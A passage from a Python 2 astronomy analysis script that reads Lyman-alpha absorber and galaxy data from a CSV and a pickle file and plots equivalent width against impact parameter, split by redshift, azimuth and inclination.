rc('ytick.major',size=8,width=0.6) rc('ytick.minor',size=5,width=0.6) rc('xtick',labelsize = fontScale) rc('ytick',labelsize = fontScale) rc('axes',labelsize = fontScale) rc('xtick', labelsize = fontScale) rc('ytick',labelsize = fontScale) # rc('font', weight = 450) # rc('axes',labelweight = 'bold') rc('axes',linewidth = 1) ########################################################################### def perc90(a): if len(a)>0: return percentile(a,90) else: return 0 def perc10(a): if len(a)>0: return percentile(a,10) else: return 0 def perc70(a): if len(a)>0: return percentile(a,70) else: return 0 def main(): # assuming 'theFile' contains one name per line, read the file if getpass.getuser() == 'David': pickleFilename = '/Users/David/Research_Documents/inclination/git_inclination/pilot_paper_code/pilotData2.p' # resultsFilename = '/Users/David/Research_Documents/inclination/git_inclination/LG_correlation_combined5_8_edit2.csv' # saveDirectory = '/Users/David/Research_Documents/inclination/git_inclination/pilot_paper_code/plots2/' resultsFilename = '/Users/David/Research_Documents/inclination/git_inclination/LG_correlation_combined5_11_25cut_edit4.csv' saveDirectory = '/Users/David/Research_Documents/inclination/git_inclination/pilot_paper_code/plots5/' elif getpass.getuser() == 'frenchd': pickleFilename = '/usr/users/frenchd/inclination/git_inclination/pilot_paper_code/pilotData2.p' # resultsFilename = '/usr/users/frenchd/inclination/git_inclination/LG_correlation_combined5_8_edit2.csv' # saveDirectory = '/usr/users/frenchd/inclination/git_inclination/pilot_paper_code/plots2/' resultsFilename = '/usr/users/frenchd/inclination/git_inclination/LG_correlation_combined5_11_25cut_edit4.csv' saveDirectory = '/usr/users/frenchd/inclination/git_inclination/pilot_paper_code/plots5/' else: print 'Could not determine username. Exiting.' sys.exit() # use the old pickle file to get the full galaxy dataset info pickleFile = open(pickleFilename,'rU') fullDict = pickle.load(pickleFile) pickleFile.close() # save each plot? save = False results = open(resultsFilename,'rU') reader = csv.DictReader(results) virInclude = False cusInclude = False finalInclude = True maxEnv = 3000 minL = 0.001 # if match, then the includes in the file have to MATCH the includes above. e.g., if # virInclude = False, cusInclude = True, finalInclude = False, then only systems # matching those three would be included. Otherwise, all cusInclude = True would be included # regardless of the others match = False # all the lists to be used for associated lines lyaVList = [] lyaWList = [] lyaErrList = [] naList = [] bList = [] impactList = [] azList = [] incList = [] fancyIncList = [] cosIncList = [] cosFancyIncList = [] paList = [] vcorrList = [] majList = [] difList = [] envList = [] morphList = [] m15List = [] virList = [] likeList = [] likem15List = [] # for ambiguous lines lyaVAmbList = [] lyaWAmbList = [] envAmbList = [] for l in reader: include_vir = eval(l['include_vir']) include_cus = eval(l['include_custom']) include = eval(l['include']) go = False if match: if virInclude == include_vir and cusInclude == include_cus: go = True else: go = False else: if virInclude and include_vir: go = True elif cusInclude and include_cus: go = True elif finalInclude and include: go = True else: go = False if go: AGNra_dec = eval(l['degreesJ2000RA_DecAGN']) galaxyRA_Dec = eval(l['degreesJ2000RA_DecGalaxy']) lyaV = l['Lya_v'] lyaW = l['Lya_W'].partition('pm')[0] lyaW_err = l['Lya_W'].partition('pm')[2] env = l['environment'] galaxyName = l['galaxyName'] impact = l['impactParameter (kpc)'] galaxyDist = l['distGalaxy (Mpc)'] pa = l['positionAngle (deg)'] RC3pa = l['RC3pa (deg)'] morph = l['morphology'] vcorr = l['vcorrGalaxy (km/s)'] maj = l['majorAxis (kpc)'] min = l['minorAxis (kpc)'] inc = l['inclination (deg)'] az = l['azimuth (deg)'] b = l['b'].partition('pm')[0] b_err = l['b'].partition('pm')[2] na = eval(l['Na'].partition(' pm ')[0]) print "l['Na'].partition(' pm ')[2] : ",l['Na'].partition(' pm ') na_err = eval(l['Na'].partition(' pm ')[2]) likelihood = l['likelihood'] likelihoodm15 = l['likelihood_1.5'] virialRadius = l['virialRadius'] m15 = l['d^1.5'] vel_diff = l['vel_diff'] if isNumber(inc): cosInc = cos(float(inc) * pi/180.) if isNumber(maj) and isNumber(min): q0 = 0.2 fancyInc = calculateFancyInclination(maj,min,q0) cosFancyInc = cos(fancyInc * pi/180) else: fancyInc = -99 cosFancyInc = -99 else: cosInc = -99 inc = -99 fancyInc = -99 cosFancyInc = -99 if isNumber(pa): pa = float(pa) elif isNumber(RC3pa): pa = float(RC3pa) else: pa = -99 if isNumber(az): az = float(az) else: az = -99 if isNumber(maj): maj = float(maj) virialRadius = float(virialRadius) else: maj = -99 virialRadius = -99 # all the lists to be used for associated lines if float(env) <= maxEnv and float(likelihood) >= minL: lyaVList.append(float(lyaV)) lyaWList.append(float(lyaW)) lyaErrList.append(float(lyaW_err)) naList.append(na) bList.append(float(b)) impactList.append(float(impact)) azList.append(az) incList.append(float(inc)) fancyIncList.append(fancyInc) cosIncList.append(cosInc) cosFancyIncList.append(cosFancyInc) paList.append(pa) vcorrList.append(vcorr) majList.append(maj) difList.append(float(vel_diff)) envList.append(float(env)) morphList.append(morph) m15List.append(m15) virList.append(virialRadius) likeList.append(likelihood) likem15List.append(likelihoodm15) else: lyaV = l['Lya_v'] lyaW = l['Lya_W'].partition('pm')[0] lyaW_err = l['Lya_W'].partition('pm')[2] env = l['environment'] lyaVAmbList.append(float(lyaV)) lyaWAmbList.append(float(lyaW)) envAmbList.append(float(env)) results.close() # lists for the full galaxy dataset allPA = fullDict['allPA'] allInclinations = fullDict['allInclinations'] allCosInclinations = fullDict['allCosInclinations'] allFancyInclinations = fullDict['allFancyInclinations'] allCosFancyInclinations = fullDict['allCosFancyInclinations'] total = 0 totalNo = 0 totalYes = 0 totalIsolated = 0 totalGroup = 0 ######################################################################################## ######################################################################################## # plot equivalent width as a function of impact parameter/diameter, split between # red and blue shifted absorption # plotW_b_diam= False save = False if plotW_b_diam: fig = figure() ax = fig.add_subplot(111) countb = 0 countr = 0 count = -1 labelr = 'Redshifted Absorber' labelb = "Blueshifted Absorber" alpha = 0.7 for d,i,w,m in zip(difList,impactList,lyaWList,majList): # check if all the values are good if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(m): if d !=-99 and i !=-99 and w!=-99 and m!=-99: count +=1 if d>0: # galaxy is behind absorber, so gas is blue shifted color = 'Blue' if countb == 0: countb +=1 plotb = ax.scatter(i/m,w,c='Blue',s=50,label= labelb,alpha=alpha) if d<0: # gas is red shifted compared to galaxy color = 'Red' if countr == 0: countr +=1 plotr = ax.scatter(i/m,w,c='Red',s=50,label= labelr,alpha=alpha) plot1 = scatter(i/m,w,c=color,s = 50,alpha=alpha) # make the legend work properly # labelr = 'Red Shifted Absorber' # labelb = "Blue Shifted Absorber" # plotb = scatter(i[countb]/m[countb],w[countb],c='Blue',s=50,label= labelb) # plotr = scatter(i[countr]/m[countr],w[countr],c='Red',s=50,label= labelr) # title('W(impact/diameter) for red and blue shifted absorption') xlabel(r'$\rm \rho / D$') ylabel(r'$\rm Equivalent ~Width [m\AA]$') ax.grid(b=None,which='major',axis='both') ylim(-1,1200) # xlim(-1,150) ax.legend(scatterpoints=1) if save: savefig('{0}/W(impact_diam)_dif_cut.pdf'.format(saveDirectory),format='pdf') else: show() ########################################################################################## ########################################################################################## # plot equivalent width as a function of impact parameter, split between # red and blue shifted absorption, overplot median histograms for red and blue # plotW_impact_difhist = True save = True if plotW_impact_difhist: fig = figure(figsize=(7.7,5.7)) ax = fig.add_subplot(111) countb = 0 countr = 0 count = -1 alpha = 0.7 binSize = 125 bins = arange(0,625,binSize) labelr = r'$\rm Redshifted ~Absorber$' labelb = r'$\rm Blueshifted ~Absorber$' bSymbol = 'D' rSymbol = 'o' xVals = [] redX = [] redY = [] blueX = [] blueY = [] for d,i,w,v in zip(difList,impactList,lyaWList,virList): # check if all the values are good if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v): if d!=-99 and i!=-99 and w!=-99 and v!=-99: xVal = float(i) yVal = float(w) xVals.append(xVal) if d>0: # galaxy is behind absorber, so gas is blue shifted color = 'Blue' symbol = bSymbol blueX.append(xVal) blueY.append(yVal) if countb == 0: countb +=1 # plotb = ax.scatter(v,w,c='Blue',s=50,label= labelb) plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,\ alpha=alpha,label=labelb) if d<0: # gas is red shifted compared to galaxy color = 'Red' symbol = rSymbol redX.append(xVal) redY.append(yVal) if countr == 0: countr +=1 # plotr = ax.scatter(v,w,c='Red',s=50,label= labelr) plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,\ alpha=alpha,label=labelr) plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha) # # median red # bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \ # statistic='median', bins=bins) # left,right = edges[:-1],edges[1:] # X = array([left,right]).T.flatten() # Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() # plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm Median~ Redshifted ~EW$') # # # # median blue # bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \ # statistic='median', bins=bins) # left,right = edges[:-1],edges[1:] # X = array([left,right]).T.flatten() # Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() # plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Median~ Blueshifted ~EW$') # avg red bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dotted',color='red',lw=2.1,alpha=alpha+0.2,label=r'$\rm Mean~ Redshifted ~EW$') # avg blue bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Mean~ Blueshifted ~EW$') # x-axis majorLocator = MultipleLocator(100) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(50) ax.xaxis.set_major_locator(majorLocator) ax.xaxis.set_major_formatter(majorFormatter) ax.xaxis.set_minor_locator(minorLocator) # y-axis majorLocator = MultipleLocator(200) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(100) ax.yaxis.set_major_locator(majorLocator) ax.yaxis.set_major_formatter(majorFormatter) ax.yaxis.set_minor_locator(minorLocator) xlabel(r'$\rm \rho ~[kpc]$') ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$') leg = ax.legend(scatterpoints=1,prop={'size':13},loc=1,fancybox=True) # leg.get_frame().set_alpha(0.5) ax.grid(b=None,which='major',axis='both') ylim(0,1300) xlim(0,500) if save: savefig('{0}/W(impact)_mean_{1}_difHistograms2.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight') else: show() ########################################################################################## ########################################################################################## # plot equivalent width as a function of impact parameter/R_vir, split between # red and blue shifted absorption, overplot median histograms for red and blue # plotW_impact_vir_difhist = True save = True if plotW_impact_vir_difhist: fig = figure(figsize=(7.7,5.7)) ax = fig.add_subplot(111) countb = 0 countr = 0 count = -1 alpha = 0.7 binSize = 0.5 bins = arange(0,2.5,binSize) labelr = r'$\rm Redshifted ~Absorber$' labelb = r'$\rm Blueshifted ~Absorber$' bSymbol = 'D' rSymbol = 'o' xVals = [] redX = [] redY = [] blueX = [] blueY = [] for d,i,w,v in zip(difList,impactList,lyaWList,virList): # check if all the values are good if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v): if d!=-99 and i!=-99 and w!=-99 and v!=-99: xVal = float(i)/float(v) yVal = float(w) xVals.append(xVal) if d>0: # galaxy is behind absorber, so gas is blue shifted color = 'Blue' symbol = bSymbol blueX.append(xVal) blueY.append(yVal) if countb == 0: countb +=1 # plotb = ax.scatter(v,w,c='Blue',s=50,label= labelb) plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,\ alpha=alpha,label=labelb) if d<0: # gas is red shifted compared to galaxy color = 'Red' symbol = rSymbol redX.append(xVal) redY.append(yVal) if countr == 0: countr +=1 # plotr = ax.scatter(v,w,c='Red',s=50,label= labelr) plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,\ alpha=alpha,label=labelr) plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha) # # median red # bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \ # statistic='median', bins=bins) # left,right = edges[:-1],edges[1:] # X = array([left,right]).T.flatten() # Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() # plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm Median~ Redshifted ~EW$') # # # # median blue # bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \ # statistic='median', bins=bins) # left,right = edges[:-1],edges[1:] # X = array([left,right]).T.flatten() # Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() # plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Median~ Blueshifted ~EW$') # avg red bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dotted',color='red',lw=2.1,alpha=alpha+0.2,label=r'$\rm Mean~ Redshifted ~EW$') # avg blue bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Mean~ Blueshifted ~EW$') # x-axis majorLocator = MultipleLocator(0.5) majorFormatter = FormatStrFormatter(r'$\rm %0.1f$') minorLocator = MultipleLocator(0.25) ax.xaxis.set_major_locator(majorLocator) ax.xaxis.set_major_formatter(majorFormatter) ax.xaxis.set_minor_locator(minorLocator) # y-axis majorLocator = MultipleLocator(200) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(100) ax.yaxis.set_major_locator(majorLocator) ax.yaxis.set_major_formatter(majorFormatter) ax.yaxis.set_minor_locator(minorLocator) xlabel(r'$\rm \rho / R_{vir}$') ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$') leg = ax.legend(scatterpoints=1,prop={'size':13},loc=1,fancybox=True) # leg.get_frame().set_alpha(0.5) ax.grid(b=None,which='major',axis='both') ylim(0,1300) xlim(0,2.0) if save: savefig('{0}/W(impact_vir)_mean_{1}_difHistograms2.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight') else: show() ########################################################################################## ########################################################################################## # plot equivalent width as a function of impact parameter/R_vir, split between # red and blue shifted absorption, overplot single median histogram (total EW) # plotW_impact_vir_medHist = False save = False if plotW_impact_vir_medHist: fig = figure() ax = fig.add_subplot(111) countb = 0 countr = 0 count = -1 alpha = 0.7 labelr = 'Redshifted Absorber' labelb = "Blueshifted Absorber" bSymbol = 'D' rSymbol = 'o' xVals = [] yVals = [] for d,i,w,v in zip(difList,impactList,lyaWList,virList): # check if all the values are good if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v): if d!=-99 and i!=-99 and w!=-99 and v!=-99: xVal = float(i)/float(v) yVal = float(w) xVals.append(xVal) yVals.append(yVal) if d>0: # galaxy is behind absorber, so gas is blue shifted color = 'Blue' symbol = bSymbol if countb == 0: countb +=1 # plotb = ax.scatter(v,w,c='Blue',s=50,label= labelb) plotb = ax.scatter(xVal,yVal,marker=bSymbol,c='Blue',s=50,alpha=alpha) if d<0: # gas is red shifted compared to galaxy color = 'Red' symbol = rSymbol if countr == 0: countr +=1 # plotr = ax.scatter(v,w,c='Red',s=50,label= labelr) plotr = ax.scatter(xVal,yVal,marker=rSymbol,c='Red',s=50,alpha=alpha) plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha) # x-axis majorLocator = MultipleLocator(0.5) majorFormatter = FormatStrFormatter(r'$\rm %0.1f$') minorLocator = MultipleLocator(0.25) ax.xaxis.set_major_locator(majorLocator) ax.xaxis.set_major_formatter(majorFormatter) ax.xaxis.set_minor_locator(minorLocator) # y-axis majorLocator = MultipleLocator(200) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(100) ax.yaxis.set_major_locator(majorLocator) ax.yaxis.set_major_formatter(majorFormatter) ax.yaxis.set_minor_locator(minorLocator) binSize = 0.5 bins = arange(0,2.5,binSize) # 50% percentile bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='solid',color='black',lw=1.7,alpha=alpha+0.1,label=r'$\rm Mean ~EW$') # # 90% percentile # bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \ # statistic=lambda y: perc90(y), bins=bins) # left,right = edges[:-1],edges[1:] # X = array([left,right]).T.flatten() # Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() # plot(X,Y, ls='dashed',color='dimgray',lw=1.7,alpha=alpha+0.1,label=r'$\rm 90th\% ~EW$') # # 10th percentile # bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \ # statistic=lambda y: perc10(y), bins=bins) # left,right = edges[:-1],edges[1:] # X = array([left,right]).T.flatten() # Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() # plot(X,Y, ls='dotted',color='green',lw=1.7,alpha=alpha+0.1,label=r'$\rm 10th\% ~EW$') xlabel(r'$\rm \rho / R_{vir}$') ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$') ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True) ax.grid(b=None,which='major',axis='both') ylim(0,1200) xlim(0,2.0) if save: savefig('{0}/W(impact_vir)_mean_{1}_Histograms.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight') else: show() ########################################################################################## ########################################################################################## # plot equivalent width as a function of impact parameter, split between # red and blue shifted absorption, overplot single median histogram (total EW) # plotW_impact_medHist = False save = False if plotW_impact_medHist: fig = figure() ax = fig.add_subplot(111) countb = 0 countr = 0 count = -1 alpha = 0.7 labelr = 'Redshifted Absorber' labelb = "Blueshifted Absorber" bSymbol = 'D' rSymbol = 'o' xVals = [] yVals = [] for d,i,w,v in zip(difList,impactList,lyaWList,virList): # check if all the values are good if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v): if d!=-99 and i!=-99 and w!=-99 and v!=-99: xVal = float(i) yVal = float(w) xVals.append(xVal) yVals.append(yVal) if d>0: # galaxy is behind absorber, so gas is blue shifted color = 'Blue' symbol = bSymbol if countb == 0: countb +=1 # plotb = ax.scatter(v,w,c='Blue',s=50,label= labelb) plotb = ax.scatter(xVal,yVal,marker=bSymbol,c='Blue',s=50,alpha=alpha) if d<0: # gas is red shifted compared to galaxy color = 'Red' symbol = rSymbol if countr == 0: countr +=1 # plotr = ax.scatter(v,w,c='Red',s=50,label= labelr) plotr = ax.scatter(xVal,yVal,marker=rSymbol,c='Red',s=50,alpha=alpha) plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha) # x-axis majorLocator = MultipleLocator(100) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(50) ax.xaxis.set_major_locator(majorLocator) ax.xaxis.set_major_formatter(majorFormatter) ax.xaxis.set_minor_locator(minorLocator) # y-axis majorLocator = MultipleLocator(200) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(100) ax.yaxis.set_major_locator(majorLocator) ax.yaxis.set_major_formatter(majorFormatter) ax.yaxis.set_minor_locator(minorLocator) binSize = 100 bins = arange(0,600,binSize) # 50% percentile bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='solid',color='black',lw=1.5,alpha=alpha,label=r'$\rm Mean ~EW$') # # 90% percentile # bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \ # statistic=lambda y: perc90(y), bins=bins) # left,right = edges[:-1],edges[1:] # X = array([left,right]).T.flatten() # Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() # plot(X,Y, ls='dashed',color='dimgray',lw=1.5,alpha=alpha,label=r'$\rm 90th\% ~EW$') # # 10th percentile # bin_means,edges,binNumber = stats.binned_statistic(array(xVals), array(yVals), \ # statistic=lambda y: perc10(y), bins=bins) # left,right = edges[:-1],edges[1:] # X = array([left,right]).T.flatten() # Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() # plot(X,Y, ls='dotted',color='green',lw=1.5,alpha=alpha,label=r'$\rm 10th\% ~EW$') xlabel(r'$\rm \rho ~[kpc]$') ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$') ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True) ax.grid(b=None,which='major',axis='both') ylim(0,1200) xlim(0,500) if save: savefig('{0}/W(impact)_mean_{1}_Histograms.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight') else: show() ########################################################################################## ########################################################################################## # plot equivalent width as a function of impact parameter, split between # absorbers at azimuth >45 and <45, overplot median histograms for each # plotW_impact_az = False save = False if plotW_impact_az: fig = figure() ax = fig.add_subplot(111) countb = 0 countr = 0 count = -1 alpha = 0.7 binSize = 100 bins = arange(0,600,binSize) labelr = 'Az < 45 Absorber' labelb = "Az > 45 Absorber" bSymbol = 'D' rSymbol = 'o' xVals = [] redX = [] redY = [] blueX = [] blueY = [] for d,i,w,v,a in zip(difList,impactList,lyaWList,virList,azList): # check if all the values are good if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v) and isNumber(a): if d!=-99 and i!=-99 and w!=-99 and v!=-99 and a!=-99: # xVal = float(i)/float(v) xVal = float(i) yVal = float(w) xVals.append(xVal) if float(a)>=45: # galaxy is behind absorber, so gas is blue shifted color = 'Blue' symbol = bSymbol blueX.append(xVal) blueY.append(yVal) if countb == 0: countb +=1 plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,alpha=alpha) if float(a)<45: # gas is red shifted compared to galaxy color = 'Red' symbol = rSymbol redX.append(xVal) redY.append(yVal) if countr == 0: countr +=1 plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,alpha=alpha) plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha) # avg AZ < 45 = RED bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm Az < 45$') # avg AZ >= 45 = BLUE bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Az \geq 45$') # x-axis majorLocator = MultipleLocator(100) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(50) ax.xaxis.set_major_locator(majorLocator) ax.xaxis.set_major_formatter(majorFormatter) ax.xaxis.set_minor_locator(minorLocator) # y-axis majorLocator = MultipleLocator(200) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(100) ax.yaxis.set_major_locator(majorLocator) ax.yaxis.set_major_formatter(majorFormatter) ax.yaxis.set_minor_locator(minorLocator) xlabel(r'$\rm Impact ~ Parameter ~ [kpc]$') ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$') ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True) ax.grid(b=None,which='major',axis='both') ylim(0,1000) # xlim(0,2.0) xlim(0,500) if save: savefig('{0}/W(impact)_mean_{1}_az.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight') else: show() ########################################################################################## ########################################################################################## # plot equivalent width as a function of impact parameter/R_vir, split between # absorbers at inc >55 and <55, overplot median histograms for each # plotW_impact_vir_inc = False save = False if plotW_impact_vir_inc: fig = figure() ax = fig.add_subplot(111) countb = 0 countr = 0 count = -1 alpha = 0.7 binSize = 0.5 bins = arange(0,2.5,binSize) labelr = 'Inc < 55 Absorber' labelb = "Inc > 55 Absorber" bSymbol = 'D' rSymbol = 'o' xVals = [] redX = [] redY = [] blueX = [] blueY = [] for d,i,w,v,inc in zip(difList,impactList,lyaWList,virList,incList): # check if all the values are good if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v) and isNumber(inc): if d!=-99 and i!=-99 and w!=-99 and v!=-99 and inc!=-99: xVal = float(i)/float(v) yVal = float(w) xVals.append(xVal) if float(inc)>55: # galaxy inc > 55 color = 'Blue' symbol = bSymbol blueX.append(xVal) blueY.append(yVal) if countb == 0: countb +=1 plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,alpha=alpha) if float(inc)<55: # galaxy in < 55 color = 'Red' symbol = rSymbol redX.append(xVal) redY.append(yVal) if countr == 0: countr +=1 plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,alpha=alpha) plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha) # avg Inc < 55 = RED bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm Inc < 55$') # avg Inc > 55 = BLUE bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Inc > 55$') # x-axis majorLocator = MultipleLocator(0.5) majorFormatter = FormatStrFormatter(r'$\rm %0.1f$') minorLocator = MultipleLocator(0.25) ax.xaxis.set_major_locator(majorLocator) ax.xaxis.set_major_formatter(majorFormatter) ax.xaxis.set_minor_locator(minorLocator) # y-axis majorLocator = MultipleLocator(200) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(100) ax.yaxis.set_major_locator(majorLocator) ax.yaxis.set_major_formatter(majorFormatter) ax.yaxis.set_minor_locator(minorLocator) xlabel(r'$\rm \rho / R_{vir}$') ylabel(r'$\rm Equivalent ~ Width ~ [m\AA]$') ax.legend(scatterpoints=1,prop={'size':15},loc=1,fancybox=True) ax.grid(b=None,which='major',axis='both') ylim(0,1200) xlim(0,2.0) if save: savefig('{0}/W(impact_vir)_mean_{1}_inc.pdf'.format(saveDirectory,binSize),format='pdf',bbox_inches='tight') else: show() ########################################################################################## ########################################################################################## # plot equivalent width as a function of impact parameter, split between # absorbers at inc >55 and <55, overplot median histograms for each # plotW_impact_inc = False save = False if plotW_impact_inc: fig = figure() ax = fig.add_subplot(111) countb = 0 countr = 0 count = -1 alpha = 0.7 binSize = 125 bins = arange(0,625,binSize) labelr = 'Inc < 55 Absorber' labelb = "Inc > 55 Absorber" bSymbol = 'D' rSymbol = 'o' xVals = [] redX = [] redY = [] blueX = [] blueY = [] for d,i,w,v,inc in zip(difList,impactList,lyaWList,virList,incList): # check if all the values are good if isNumber(d) and isNumber(i) and isNumber(w) and isNumber(v) and isNumber(inc): if d!=-99 and i!=-99 and w!=-99 and v!=-99 and inc!=-99: xVal = float(i) yVal = float(w) xVals.append(xVal) if float(inc)>55: # galaxy inc > 55 color = 'Blue' symbol = bSymbol blueX.append(xVal) blueY.append(yVal) if countb == 0: countb +=1 plotb = ax.scatter(xVal,yVal,marker=symbol,c='Blue',s=50,alpha=alpha) if float(inc)<55: # galaxy inc < 55 color = 'Red' symbol = rSymbol redX.append(xVal) redY.append(yVal) if countr == 0: countr +=1 plotr = ax.scatter(xVal,yVal,marker=symbol,c='Red',s=50,alpha=alpha) plot1 = scatter(xVal,yVal,marker=symbol,c=color,s=50,alpha=alpha) # avg inc < 55 = RED bin_means,edges,binNumber = stats.binned_statistic(array(redX), array(redY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dotted',color='red',lw=1.7,alpha=alpha+0.1,label=r'$\rm Inc < 55$') # avg inc > 55 = BLUE bin_means,edges,binNumber = stats.binned_statistic(array(blueX), array(blueY), \ statistic='mean', bins=bins) left,right = edges[:-1],edges[1:] X = array([left,right]).T.flatten() Y = array([nan_to_num(bin_means),nan_to_num(bin_means)]).T.flatten() plot(X,Y, ls='dashed',color='blue',lw=1.7,alpha=alpha+0.1,label=r'$\rm Inc > 55$') # x-axis majorLocator = MultipleLocator(100) majorFormatter = FormatStrFormatter(r'$\rm %d$') minorLocator = MultipleLocator(50) ax.xaxis.set_major_locator(majorLocator) ax.xaxis.set_major_formatter(majorFormatter) 